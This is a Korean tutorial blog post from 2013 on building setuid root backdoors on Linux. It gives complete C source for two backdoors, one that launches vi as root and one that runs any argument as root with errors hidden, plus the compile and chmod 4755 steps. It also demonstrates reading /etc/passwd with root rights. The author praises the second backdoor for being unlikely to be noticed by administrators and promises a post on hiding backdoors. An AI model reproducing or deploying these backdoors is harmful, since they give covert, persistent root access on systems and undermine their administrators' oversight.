시스템보안(지식창고)

Setuid를 이용한 백도어 만들기(2)-백도어를 만드는 또 다른 방법들

컴공 2013. 2. 15. 22:04
반응형

이번에는 백도어를 만드는 두번째 방법입니다.

먼저 backvi.c라는 파일을 vi로 만들어줍니다.

#vi backvi.c

그리고 내부에 다음 코드를 입력합니다.

#include<stdio.h>

main(){

setuid(0);

setgid(0);

system("/bin/vi");

}

#gcc -o backvi backvi.c 명령어로 코딩한 것을 컴파일합니다.

#chmod 4755 backvi 로 백도어의 접근권한을 바꿔주고 setuid설정을 해줍니다.

이제 백도어가 만들어졌습니다. 일반사용자 모드로 접속하여 백도어를 실행시켜봅니다.

$./backvi

위와 같은 화면이 뜨면 :!/bin/bash 를 입력하고 enter를 눌러봅니다.

깔끔하게 루트 권한으로 넘어갔네요!

다음은 세번째 방법입니다.

먼저

#vi backexec.c 를 입력하여 backexec.c라는 파일을 만들고,

다음 코드를 입력합니다.

#include<stdio.h>

main(int argc, char *argv[]){

char exec[100];

setuid(0);

setgid(0);

sprintf(exec,"%s 2>/dev/null", argv[1]);

system(exec);

}

그리고 마찬가지로

#gcc -o backexec backexec.c 를 입력하여 컴파일 해줍니다.

#chmod 4755 backexec 로 접근권한 및 setuid 설정을 바꿔줍니다.

이제 일반 사용자 모드로 접속하여 백도어를 실행하겠습니다.

이번 백도어는 앞의 두가지 방법들과는 달리 실행명령어 뒤에 큰 따옴표("")를 붙여 그 안에 명령어를 입력해 주어 실행하는 방식입니다. 이 방식은 단순히 실행하면 아무런 표시도 나지 않기 때문에 관리자에게 걸릴 확률이 비교적 적다고 할 수 있겠네요.

위 그림처럼 단순히

./backexec 라고 입력할 시에는 아무 표시가 뜨지 않습니다.

그러나 ./backexec "id" 또는 ./backexec "tail /etc/passwd" 처럼 ""를 붙여 입력했을 때는 그 내용이 루트 권한으로 실행되는 것을 확인하실 수 있습니다.

지금까지 소개한 세가지 백도어들은 미세하게는 차이가 있으나 큰 흐름은 같습니다. 마음에 드는 방법을 한가지 선택하셔서 연습하시면 되겠습니다.

다음 포스팅에서는 백도어를 찾는 방법과, 들키지 않게 숨기는 방법을 소개하겠습니다.

반응형